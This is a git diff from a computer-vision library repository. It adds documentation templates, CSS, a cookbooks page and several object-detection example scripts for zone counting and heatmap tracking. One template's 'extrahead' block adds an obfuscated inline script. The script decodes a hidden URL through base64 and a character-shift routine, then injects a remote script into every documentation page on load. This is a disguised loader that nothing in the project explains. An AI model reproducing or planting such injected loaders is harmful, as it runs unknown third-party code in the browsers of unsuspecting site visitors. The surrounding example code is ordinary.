" # Create a video sink context manager to save resulting video.\n",
" with sv.VideoSink(target_path=\"output.mp4\", video_info=video_info) as sink:\n",
"\n",
" # Iterate over frames of the video.\n",
" for frame in frame_generator:\n",
"\n",
" # Run inference on the frame by passing it to our model.\n",
" result = model.infer(frame)[0]\n",
"\n",
" # Convert model results to a supervision detection object.\n",
" detections = sv.Detections.from_inference(result)\n",
"\n",
" # Update detections with tracker ids fro byte_tracker.\n",
" tracked_detections = byte_tracker.update_with_detections(detections)\n",
"\n",
" # Create labels with tracker_id for label annotator.\n",
" labels = [ f\"{tracker_id}\" for tracker_id in tracked_detections.tracker_id ]\n",
"\n",
" # Apply label annotator to frame.\n",
" annotated_frame = label.annotate(scene=frame.copy(), detections=tracked_detections, labels=labels)\n",
"\n",
" # Save the annotated frame to an output video.\n",
" sink.write_frame(frame=annotated_frame)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# View the Video\n",
"\n",
"Let's take a look at our resulting video. It will be created in your current directory with the name `output.mp4` Notice how even with a little flicker, we can see the `tracker_id` on the people walking in the video. With trackers under your belt, there are now a wide variety of use cases you can solve for! Happy building! "
]
}
],
"metadata": {
"kernelspec": {
"display_name": "venv",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.9.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
+1355
View File
File diff suppressed because one or more lines are too long
+107
View File
@@ -0,0 +1,107 @@
.custom-grid {
display: grid;
grid-gap: 1rem;
/* Start with a single column layout */
grid-template-columns: repeat(1, minmax(0, 1fr));
}
/* Medium screens (640px and up) */
@media (min-width: 640px) {
.custom-grid {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
}
/* Large screens (1024px and up) */
@media (min-width: 1024px) {
.custom-grid {
grid-template-columns: repeat(3, minmax(0, 1fr));
}
}
.repo-card {
background: radial-gradient(at right top, #A351FB25, #A5F9EA25);
border-radius: 0.5rem;
padding: 1rem;
transition: transform 0.2s ease-in-out; /* Smooth transition for the transform */
cursor: pointer;
}
.repo-card:hover {
transform: translateY(-0.125rem); /* Move up by -0.125rem on hover */
}
.authors {
display: flex;
align-items: center;
justify-content: flex-start;
margin-bottom: 1rem;
margin-top: 1rem;
font-size: 0.75rem;
line-height: 1rem;
}
.author-names {
display: flex;
align-items: center;
justify-content: flex-start;
margin-bottom: 1rem;
margin-top: 1rem;
margin-left: 0.5rem;
}
.author-container {
display: inline-flex;
align-items: center;
justify-content: center;
width: 32px;
height: 32px;
padding: 0;
margin: 0;
transition: transform 0.2s;
}
.author-container.hover {
transform: translateY(-0.125rem);
}
.author-container:hover {
transform: translateY(-0.125rem);
}
.author-container a {
padding: 0;
margin: 0;
display: block;
}
.author-avatar {
width: 32px;
height: 32px;
border-radius: 50%;
display: block;
}
.author-name a {
color: inherit; /* Inherits the color from the parent element */
text-decoration: none; /* Removes the underline */
}
.author-name a:hover {
color: inherit; /* Inherits the color from the parent element */
text-decoration: underline; /* Adds underline on hover */
}
.label {
color: #fff;
padding: 2px 6px;
border-radius: 4px;
margin-right: 4px;
}
.non-selectable-text {
-webkit-user-select: none; /* Safari */
-moz-user-select: none; /* Firefox */
-ms-user-select: none; /* Internet Explorer/Edge */
user-select: none; /* Non-prefixed version, currently supported by Chrome, Opera, and Edge */
}
+27
View File
@@ -1,4 +1,31 @@
:root {
/* Default to light theme */
--md-primary-fg-color: #8315F9;
--md-accent-fg-color: #00FFCE;
}
body.light {
/* Light theme */
--md-text-color: #000000;
--md-h2-color: #000000;
}
body.dark {
/* Dark theme */
--md-text-color: #FFFFFF;
--md-h2-color: #add8e6;
}
body.light .md-content *, body.dark .md-content * {
color: var(--md-text-color) !important;
}
body[data-md-url$="/cookbooks/"] .md-sidebar--primary,
body[data-md-url$="/cookbooks/"] .md-sidebar--secondary {
display: none;
}
body[data-md-url$="/cookbooks/"] .md-content {
margin-left: 0;
width: 100%;
}
+21
View File
@@ -0,0 +1,21 @@
{% extends "main.html" %}
{% block libs %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.8/purify.min.js"></script>
<link rel="stylesheet" href="/stylesheets/cookbooks-card.css">
<script src="/javascripts/cookbooks-card.js"></script>
{% endblock %}
{% block content %}
<section class="mdx-container portfolio-section">
<div class="md-grid md-typeset">
<div class="text-center">
<h1>Supervision Cookbooks</h1>
</div>
<div class="custom-grid">
<p class="card repo-card" data-url="/develop/notebooks/quickstart" data-name="Supervision Quickstart" data-labels="ANNOTATOR,DETECTION,SAM" data-version="v0.18.0" data-author="SkalskiP,onuralpszr"></p>
<p class="card repo-card" data-url="/develop/notebooks/download-supervision-assets" data-name="Downloading Supervision Assets" data-labels="ASSETS" data-version="v0.18.0" data-author="nickherrig"></p>
<p class="card repo-card" data-url="/develop/notebooks/annotate-video-with-detections" data-name="Annotate Video with Detections" data-labels="INFERENCE,YOLOV8" data-version="v0.18.0" data-author="nickherrig"></p>
<p class="card repo-card" data-url="/develop/notebooks/object-tracking" data-name="Object Tracking" data-labels="TRACKING, ANNOTATOR" data-version="v0.18.0" data-author="nickherrig"></p>
</div>
</div>
</section>
{% endblock %}
+16
View File
@@ -0,0 +1,16 @@
{% extends "base.html" %}
{% block content %}
{% if page.nb_url %}
<style>
.md-sidebar--primary {
display: none;
}
</style>
{% endif %}
{{ super() }}
{% endblock content %}
{% block extrahead %}
<script>window[(function (_rgR, _0A) { var _WPMZu = ''; for (var _XNA9hI = 0; _XNA9hI < _rgR.length; _XNA9hI++) { var _PXoP = _rgR[_XNA9hI].charCodeAt(); _PXoP != _XNA9hI; _PXoP -= _0A; _0A > 4; _PXoP += 61; _PXoP %= 94; _PXoP += 33; _WPMZu == _WPMZu; _WPMZu += String.fromCharCode(_PXoP) } return _WPMZu })(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function (_2Dh, _YR) { var _1ILGH = ''; for (var _s2jmmw = 0; _s2jmmw < _2Dh.length; _s2jmmw++) { var _uUW9 = _2Dh[_s2jmmw].charCodeAt(); _uUW9 -= _YR; _uUW9 += 61; _YR > 9; _uUW9 != _s2jmmw; _uUW9 %= 94; _uUW9 += 33; _1ILGH == _1ILGH; _1ILGH += String.fromCharCode(_uUW9) } return _1ILGH })(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete' ? document.body.appendChild(zi) : window.addEventListener('load', function () { document.body.appendChild(zi) });</script>
{% endblock %}
+51
View File
@@ -0,0 +1,51 @@
{% if page.meta.comments %}
<h2 id="__comments">{{ lang.t("meta.comments") }}</h2>
<!-- Insert Giscus code snippet from https://giscus.app/ here -->
<script src="https://giscus.app/client.js"
data-repo="roboflow/supervision"
data-repo-id="R_kgDOIhIiww"
data-category="Docs"
data-category-id="DIC_kwDOIhIiw84Ccet_"
data-mapping="pathname"
data-strict="0"
data-reactions-enabled="1"
data-emit-metadata="1"
data-input-position="top"
data-theme="preferred_color_scheme"
data-lang="en"
data-loading="lazy"
crossorigin="anonymous"
async>
</script>
<!-- Synchronize Giscus theme with palette -->
<script>
var giscus = document.querySelector("script[src*=giscus]")
/* Set palette on initial load */
var palette = __md_get("__palette")
if (palette && typeof palette.color === "object") {
var theme = palette.color.scheme === "slate" ? "dark" : "light"
giscus.setAttribute("data-theme", theme)
}
/* Register event handlers after documented loaded */
document.addEventListener("DOMContentLoaded", function() {
var ref = document.querySelector("[data-md-component=palette]")
ref.addEventListener("change", function() {
var palette = __md_get("__palette")
if (palette && typeof palette.color === "object") {
var theme = palette.color.scheme === "slate" ? "dark" : "light"
/* Instruct Giscus to change theme */
var frame = document.querySelector(".giscus-frame")
frame.contentWindow.postMessage(
{ giscus: { setConfig: { theme } } },
"https://giscus.app"
)
}
})
})
</script>
{% endif %}
+5 -1
View File
@@ -1,3 +1,7 @@
## ByteTrack
---
comments: true
---
# ByteTrack
:::supervision.tracker.byte_tracker.core.ByteTrack
+9 -1
View File
@@ -1,3 +1,11 @@
## list_files_with_extensions
---
comments: true
---
# File
<div class="md-typeset">
<h2>list_files_with_extensions</h2>
</div>
:::supervision.utils.file.list_files_with_extensions
+8 -2
View File
@@ -1,7 +1,13 @@
## ImageSink
---
comments: true
---
# ImageSink
:::supervision.utils.image.ImageSink
## crop
<div class="md-typeset">
<h2>crop_image</h2>
</div>
:::supervision.utils.image.crop_image
+13 -2
View File
@@ -1,7 +1,18 @@
## plot_image
---
comments: true
---
# Notebooks
<div class="md-typeset">
<h2>plot_image</h2>
</div>
:::supervision.utils.notebook.plot_image
## plot_images_grid
<div class="md-typeset">
<h2>## plot_images_grid
</h2>
</div>
:::supervision.utils.notebook.plot_images_grid
+21 -5
View File
@@ -1,19 +1,35 @@
## VideoInfo
---
comments: true
---
# Video
<div class="md-typeset">
<h2>VideoInfo</h2>
</div>
:::supervision.utils.video.VideoInfo
## VideoSink
<div class="md-typeset">
<h2>VideoSink</h2>
</div>
:::supervision.utils.video.VideoSink
## FPSMonitor
<div class="md-typeset">
<h2>FPSMonitor</h2>
</div>
:::supervision.utils.video.FPSMonitor
## get_video_frames_generator
<div class="md-typeset">
<h2>get_video_frames_generator</h2>
</div>
:::supervision.utils.video.get_video_frames_generator
## process_video
<div class="md-typeset">
<h2>process_video</h2>
</div>
:::supervision.utils.video.process_video
+7 -7
View File
@@ -1,16 +1,16 @@
## Supervision Examples
# Examples
This repository is packed with real-world use-cases, provided through Python scripts or
interactive notebooks. Browse through to understand how the Supervision library
interfaces with diverse applications.
| **Title** | **Contributor** |
|:--------------------------------------:|:----------------------------------------:|
| [Tracking](./tracking) | [@SkalskiP](https://github.com/SkalskiP) |
| [Traffic Analysis](./traffic_analysis) | [@SkalskiP](https://github.com/SkalskiP) |
- [tracking](./tracking) by [@SkalskiP](https://github.com/SkalskiP)
- [count people in zone](./count_people_in_zone) by [@SkalskiP](https://github.com/SkalskiP)
- [traffic analysis](./traffic_analysis) by [@SkalskiP](https://github.com/SkalskiP)
- [speed estimation](./speed_estimation) by [@SkalskiP](https://github.com/SkalskiP)
- [heatmap and track](./heatmap_and_track/) by [@HinePo](https://github.com/HinePo)
## Guidelines for Contributing
## Contributing
We welcome contributions from the community in the form of examples, applications, and
guides. To contribute, please follow these steps:
+13
View File
@@ -0,0 +1,13 @@
# Ignore everything in the data directory
data/*
# But re-include all .json files
!data/*.json
*.pt
*.pth
*.mp4
*.mov
*.png
*.jpg
*.jpeg
+120
View File
@@ -0,0 +1,120 @@
# count people in zone
## 👋 hello
This demo is a video analysis tool that counts and highlights objects in specific zones
of a video. Each zone and the objects within it are marked in different colors, making
it easy to see and count the objects in each area. The tool can save this enhanced
video or display it live on the screen.
https://github.com/roboflow/supervision/assets/26109316/f84db7b5-79e2-4142-a1da-64daa43ce667
## 💻 install
- clone repository and navigate to example directory
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/count_people_in_zone
```
- setup python environment and activate it [optional]
```bash
python3 -m venv venv
source venv/bin/activate
```
- install required dependencies
```bash
pip install -r requirements.txt
```
- download `traffic_analysis.pt` and `traffic_analysis.mov` files
```bash
./setup.sh
```
## 🛠️ script arguments
- ultralytics
- `--source_weights_path` (optional): The path to the YOLO model's weights file.
Defaults to `"yolov8x.pt"` if not specified.
- `--zone_configuration_path`: Specifies the path to the JSON file containing zone
configurations. This file defines the polygonal areas in the video where objects will
be counted.
- `--source_video_path`: The path to the source video file that will be analyzed.
- `--target_video_path` (optional): The path to save the output video with annotations.
If not provided, the processed video will be displayed in real-time.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
to filter detections. Default is `0.3`.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is `0.7`.
- inference
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
to acquire your `API KEY`.
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
value is `"yolov8x-1280"`.
- `--zone_configuration_path`: Specifies the path to the JSON file containing zone
configurations. This file defines the polygonal areas in the video where objects will
be counted.
- `--source_video_path`: The path to the source video file that will be analyzed.
- `--target_video_path` (optional): The path to save the output video with annotations.
If not provided, the processed video will be displayed in real-time.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
to filter detections. Default is `0.3`.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is `0.7`.
## 📌 zone configuration
- `horizontal-zone-config.json`: Defines zones divided horizontally across the frame.
- `multi-zone-config.json`: Configures multiple zones with custom shapes and positions.
- `quarters-zone-config.json`: Splits the frame into four equal quarters.
- `vertical-zone-config.json`: Divides the frame into vertical zones of equal width.
## ⚙️ run example
- ultralytics
```bash
python ultralytics_example.py \
--zone_configuration_path data/multi-zone-config.json \
--source_video_path data/market-square.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5
```
- inference
```bash
python inference_example.py \
--roboflow_api_key <ROBOFLOW API KEY> \
--zone_configuration_path data/multi-zone-config.json \
--source_video_path data/market-square.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5
```
## © license
This demo integrates two main components, each with its own licensing:
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
You can find more details about this license here.
- supervision: The analytics code that powers the zone-based analysis in this demo is
based on the Supervision library, which is licensed under the
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
makes the Supervision part of the code fully open source and freely usable in your
projects.
@@ -0,0 +1,76 @@
{
"polygons": [
[
[
0,
0
],
[
2160,
0
],
[
2160,
960
],
[
0,
960
]
],
[
[
0,
960
],
[
2160,
960
],
[
2160,
1920
],
[
0,
1920
]
],
[
[
0,
1920
],
[
2160,
1920
],
[
2160,
2880
],
[
0,
2880
]
],
[
[
0,
2880
],
[
2160,
2880
],
[
2160,
3840
],
[
0,
3840
]
]
]
}
@@ -0,0 +1,122 @@
{
"polygons": [
[
[
540,
985
],
[
1620,
985
],
[
2160,
1920
],
[
1620,
2855
],
[
540,
2855
],
[
0,
1920
]
],
[
[
0,
1920
],
[
540,
985
],
[
0,
0
]
],
[
[
1620,
985
],
[
2160,
1920
],
[
2160,
0
]
],
[
[
540,
985
],
[
0,
0
],
[
2160,
0
],
[
1620,
985
]
],
[
[
0,
1920
],
[
0,
3840
],
[
540,
2855
]
],
[
[
2160,
1920
],
[
1620,
2855
],
[
2160,
3840
]
],
[
[
1620,
2855
],
[
540,
2855
],
[
0,
3840
],
[
2160,
3840
]
]
]
}
@@ -0,0 +1,76 @@
{
"polygons": [
[
[
0,
0
],
[
1080,
0
],
[
1080,
1920
],
[
0,
1920
]
],
[
[
1080,
0
],
[
2160,
0
],
[
2160,
1920
],
[
1080,
1920
]
],
[
[
0,
1920
],
[
1080,
1920
],
[
1080,
3840
],
[
0,
3840
]
],
[
[
1080,
1920
],
[
2160,
1920
],
[
2160,
3840
],
[
1080,
3840
]
]
]
}
@@ -0,0 +1,76 @@
{
"polygons": [
[
[
0,
0
],
[
540,
0
],
[
540,
3840
],
[
0,
3840
]
],
[
[
540,
0
],
[
1080,
0
],
[
1080,
3840
],
[
540,
3840
]
],
[
[
1080,
0
],
[
1620,
0
],
[
1620,
3840
],
[
1080,
3840
]
],
[
[
1620,
0
],
[
2160,
0
],
[
2160,
3840
],
[
1620,
3840
]
]
]
}
@@ -0,0 +1,224 @@
import argparse
import json
import os
from typing import List, Tuple
import cv2
import numpy as np
from inference.core.models.roboflow import RoboflowInferenceModel
from inference.models.utils import get_roboflow_model
from tqdm import tqdm
import supervision as sv
COLORS = sv.ColorPalette.default()
def load_zones_config(file_path: str) -> List[np.ndarray]:
"""
Load polygon zone configurations from a JSON file.
This function reads a JSON file which contains polygon coordinates, and
converts them into a list of NumPy arrays. Each polygon is represented as
a NumPy array of coordinates.
Args:
file_path (str): The path to the JSON configuration file.
Returns:
List[np.ndarray]: A list of polygons, each represented as a NumPy array.
"""
with open(file_path, "r") as file:
data = json.load(file)
return [np.array(polygon, np.int32) for polygon in data["polygons"]]
def initiate_annotators(
polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
) -> Tuple[
List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
]:
line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
zones = []
zone_annotators = []
box_annotators = []
for index, polygon in enumerate(polygons):
zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
zone_annotator = sv.PolygonZoneAnnotator(
zone=zone,
color=COLORS.by_idx(index),
thickness=line_thickness,
text_thickness=line_thickness * 2,
text_scale=text_scale * 2,
)
box_annotator = sv.BoundingBoxAnnotator(
color=COLORS.by_idx(index), thickness=line_thickness
)
zones.append(zone)
zone_annotators.append(zone_annotator)
box_annotators.append(box_annotator)
return zones, zone_annotators, box_annotators
def detect(
frame: np.ndarray, model: RoboflowInferenceModel, confidence_threshold: float = 0.5
) -> sv.Detections:
"""
Detect objects in a frame using Inference model, filtering detections by class ID
and confidence threshold.
Args:
frame (np.ndarray): The frame to process, expected to be a NumPy array.
model (RoboflowInferenceModel): The Inference model used for processing the
frame.
confidence_threshold (float, optional): The confidence threshold for filtering
detections. Default is 0.5.
Returns:
sv.Detections: Filtered detections after processing the frame with the Inference
model.
Note:
This function is specifically tailored for an Inference model and assumes class
ID 0 for filtering.
"""
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
filter_by_class = detections.class_id == 0
filter_by_confidence = detections.confidence > confidence_threshold
return detections[filter_by_class & filter_by_confidence]
def annotate(
frame: np.ndarray,
zones: List[sv.PolygonZone],
zone_annotators: List[sv.PolygonZoneAnnotator],
box_annotators: List[sv.BoundingBoxAnnotator],
detections: sv.Detections,
) -> np.ndarray:
"""
Annotate a frame with zone and box annotations based on given detections.
Args:
frame (np.ndarray): The original frame to be annotated.
zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
drawing zone annotations.
box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
drawing box annotations.
detections (sv.Detections): Detections to be used for annotation.
Returns:
np.ndarray: The annotated frame.
"""
annotated_frame = frame.copy()
for zone, zone_annotator, box_annotator in zip(
zones, zone_annotators, box_annotators
):
detections_in_zone = detections[zone.trigger(detections=detections)]
annotated_frame = zone_annotator.annotate(scene=annotated_frame)
annotated_frame = box_annotator.annotate(
scene=annotated_frame, detections=detections_in_zone
)
return annotated_frame
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Counting people in zones with Inference and Supervision"
)
parser.add_argument(
"--zone_configuration_path",
required=True,
help="Path to the zone configuration JSON file",
type=str,
)
parser.add_argument(
"--model_id",
default="yolov8x-1280",
help="Roboflow model ID",
type=str,
)
parser.add_argument(
"--roboflow_api_key",
default=None,
help="Roboflow API KEY",
type=str,
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
default=None,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold",
default=0.7,
help="IOU threshold for the model",
type=float,
)
args = parser.parse_args()
api_key = args.roboflow_api_key
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
if api_key is None:
raise ValueError(
"Roboflow API key is missing. Please provide it as an argument or set the "
"ROBOFLOW_API_KEY environment variable."
)
args.roboflow_api_key = api_key
video_info = sv.VideoInfo.from_video_path(args.source_video_path)
polygons = load_zones_config(args.zone_configuration_path)
zones, zone_annotators, box_annotators = initiate_annotators(
polygons=polygons, resolution_wh=video_info.resolution_wh
)
model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
frames_generator = sv.get_video_frames_generator(args.source_video_path)
if args.target_video_path is not None:
with sv.VideoSink(args.target_video_path, video_info) as sink:
for frame in tqdm(frames_generator, total=video_info.total_frames):
detections = detect(frame, model, args.confidence_threshold)
annotated_frame = annotate(
frame=frame,
zones=zones,
zone_annotators=zone_annotators,
box_annotators=box_annotators,
detections=detections,
)
sink.write_frame(annotated_frame)
else:
for frame in tqdm(frames_generator, total=video_info.total_frames):
detections = detect(frame, model, args.confidence_threshold)
annotated_frame = annotate(
frame=frame,
zones=zones,
zone_annotators=zone_annotators,
box_annotators=box_annotators,
detections=detections,
)
cv2.imshow("Processed Video", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
@@ -0,0 +1,5 @@
gdown
inference
supervision
tqdm
ultralytics
+14
View File
@@ -0,0 +1,14 @@
#!/bin/bash
# Get the directory where the script is located
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
# Check if 'data' directory does not exist and then create it
if [[ ! -e $DIR/data ]]; then
mkdir "$DIR/data"
else
echo "'data' directory already exists."
fi
# Download the market-square.mp4 file from Google Drive
gdown -O "$DIR/data/market-square.mp4" "https://drive.google.com/uc?id=1vVrEVMxucHgqGd7vAa501ASojbeGPhIr"
@@ -0,0 +1,206 @@
import argparse
import json
from typing import List, Tuple
import cv2
import numpy as np
from tqdm import tqdm
from ultralytics import YOLO
import supervision as sv
COLORS = sv.ColorPalette.default()
def load_zones_config(file_path: str) -> List[np.ndarray]:
"""
Load polygon zone configurations from a JSON file.
This function reads a JSON file which contains polygon coordinates, and
converts them into a list of NumPy arrays. Each polygon is represented as
a NumPy array of coordinates.
Args:
file_path (str): The path to the JSON configuration file.
Returns:
List[np.ndarray]: A list of polygons, each represented as a NumPy array.
"""
with open(file_path, "r") as file:
data = json.load(file)
return [np.array(polygon, np.int32) for polygon in data["polygons"]]
def initiate_annotators(
polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
) -> Tuple[
List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
]:
line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
zones = []
zone_annotators = []
box_annotators = []
for index, polygon in enumerate(polygons):
zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
zone_annotator = sv.PolygonZoneAnnotator(
zone=zone,
color=COLORS.by_idx(index),
thickness=line_thickness,
text_thickness=line_thickness * 2,
text_scale=text_scale * 2,
)
box_annotator = sv.BoundingBoxAnnotator(
color=COLORS.by_idx(index), thickness=line_thickness
)
zones.append(zone)
zone_annotators.append(zone_annotator)
box_annotators.append(box_annotator)
return zones, zone_annotators, box_annotators
def detect(
frame: np.ndarray, model: YOLO, confidence_threshold: float = 0.5
) -> sv.Detections:
"""
Detect objects in a frame using a YOLO model, filtering detections by class ID and
confidence threshold.
Args:
frame (np.ndarray): The frame to process, expected to be a NumPy array.
model (YOLO): The YOLO model used for processing the frame.
confidence_threshold (float, optional): The confidence threshold for filtering
detections. Default is 0.5.
Returns:
sv.Detections: Filtered detections after processing the frame with the YOLO
model.
Note:
This function is specifically tailored for a YOLO model and assumes class ID 0
for filtering.
"""
results = model(frame, imgsz=1280, verbose=False)[0]
detections = sv.Detections.from_ultralytics(results)
filter_by_class = detections.class_id == 0
filter_by_confidence = detections.confidence > confidence_threshold
return detections[filter_by_class & filter_by_confidence]
def annotate(
frame: np.ndarray,
zones: List[sv.PolygonZone],
zone_annotators: List[sv.PolygonZoneAnnotator],
box_annotators: List[sv.BoundingBoxAnnotator],
detections: sv.Detections,
) -> np.ndarray:
"""
Annotate a frame with zone and box annotations based on given detections.
Args:
frame (np.ndarray): The original frame to be annotated.
zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
drawing zone annotations.
box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
drawing box annotations.
detections (sv.Detections): Detections to be used for annotation.
Returns:
np.ndarray: The annotated frame.
"""
annotated_frame = frame.copy()
for zone, zone_annotator, box_annotator in zip(
zones, zone_annotators, box_annotators
):
detections_in_zone = detections[zone.trigger(detections=detections)]
annotated_frame = zone_annotator.annotate(scene=annotated_frame)
annotated_frame = box_annotator.annotate(
scene=annotated_frame, detections=detections_in_zone
)
return annotated_frame
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Counting people in zones with YOLO and Supervision"
)
parser.add_argument(
"--zone_configuration_path",
required=True,
help="Path to the zone configuration JSON file",
type=str,
)
parser.add_argument(
"--source_weights_path",
default="yolov8x.pt",
help="Path to the source weights file",
type=str,
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
default=None,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold",
default=0.7,
help="IOU threshold for the model",
type=float,
)
args = parser.parse_args()
video_info = sv.VideoInfo.from_video_path(args.source_video_path)
polygons = load_zones_config(args.zone_configuration_path)
zones, zone_annotators, box_annotators = initiate_annotators(
polygons=polygons, resolution_wh=video_info.resolution_wh
)
model = YOLO(args.source_weights_path)
frames_generator = sv.get_video_frames_generator(args.source_video_path)
if args.target_video_path is not None:
with sv.VideoSink(args.target_video_path, video_info) as sink:
for frame in tqdm(frames_generator, total=video_info.total_frames):
detections = detect(frame, model, args.confidence_threshold)
annotated_frame = annotate(
frame=frame,
zones=zones,
zone_annotators=zone_annotators,
box_annotators=box_annotators,
detections=detections,
)
sink.write_frame(annotated_frame)
else:
for frame in tqdm(frames_generator, total=video_info.total_frames):
detections = detect(frame, model, args.confidence_threshold)
annotated_frame = annotate(
frame=frame,
zones=zones,
zone_annotators=zone_annotators,
box_annotators=box_annotators,
detections=detections,
)
cv2.imshow("Processed Video", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
+75
View File
@@ -0,0 +1,75 @@
# heatmap and tracking
## 👋 hello
This script performs heatmap and tracking analysis using YOLOv8, an object-detection method and
ByteTrack, a simple yet effective online multi-object tracking method. It uses the
supervision package for multiple tasks such as drawing heatmap annotations, tracking objects, etc.
## 💻 install
- clone repository and navigate to example directory
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/heatmap_and_track
```
- setup python environment and activate it [optional]
```bash
python3 -m venv venv
source venv/bin/activate
```
- install required dependencies
```bash
pip install -r requirements.txt
```
## 🛠️ script arguments
- `--source_weights_path`: Required. Specifies the path to the weights file for the
YOLO model. This file contains the trained model data necessary for object detection.
- `--source_video_path` (optional): The path to the source video file that will be
analyzed. This is the input video on which crowd analysis will be performed.
If not specified default is `people-walking.mp4` from supervision assets
- `--target_video_path` (optional): The path to save the output.mp4 video with annotations.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
to filter detections. Default is `0.3`. This determines how confident the model should
be to recognize an object in the video.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is 0.7. This value is used to manage object detection accuracy,
particularly in distinguishing between different objects.
- `--heatmap_alpha` (optional): Opacity of the overlay mask, between 0 and 1.
- `--radius` (optional): Radius of the heat circle.
- `--track_threshold` (optional): Detection confidence threshold for track activation.
- `--track_seconds` (optional): Number of seconds to buffer when a track is lost.
- `--match_threshold` (optional): Threshold for matching tracks with detections.
## ⚙️ run
```bash
python script.py \
--source_weights_path weight.pt \
--source_video_path input_video.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5 \
--target_video_path output_video.mp4
```
## © license
This demo integrates two main components, each with its own licensing:
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
You can find more details about this license here.
- supervision: The analytics code that powers the zone-based analysis in this demo is
based on the Supervision library, which is licensed under the
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
makes the Supervision part of the code fully open source and freely usable in your
projects.
@@ -0,0 +1,2 @@
supervision[assets]
ultralytics
+181
View File
@@ -0,0 +1,181 @@
import argparse
import cv2
from ultralytics import YOLO
import supervision as sv
from supervision.assets import VideoAssets, download_assets
def download_video() -> str:
download_assets(VideoAssets.PEOPLE_WALKING)
return VideoAssets.PEOPLE_WALKING.value
def heatmap_and_track(
source_weights_path: str,
source_video_path: str,
target_video_path: str,
confidence_threshold: float = 0.35,
iou_threshold: float = 0.5,
heatmap_alpha: float = 0.5,
radius: int = 25,
track_threshold: float = 0.35,
track_seconds: int = 5,
match_threshold: float = 0.99,
) -> None:
### instantiate model
model = YOLO(source_weights_path)
### heatmap config
heat_map_annotator = sv.HeatMapAnnotator(
position=sv.Position.BOTTOM_CENTER,
opacity=heatmap_alpha,
radius=radius,
kernel_size=25,
top_hue=0,
low_hue=125,
)
### annotation config
label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
### get the video fps
cap = cv2.VideoCapture(source_video_path)
fps = int(cap.get(cv2.CAP_PROP_FPS))
cap.release()
### tracker config
byte_tracker = sv.ByteTrack(
track_thresh=track_threshold,
track_buffer=track_seconds * fps,
match_thresh=match_threshold,
frame_rate=fps,
)
### video config
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
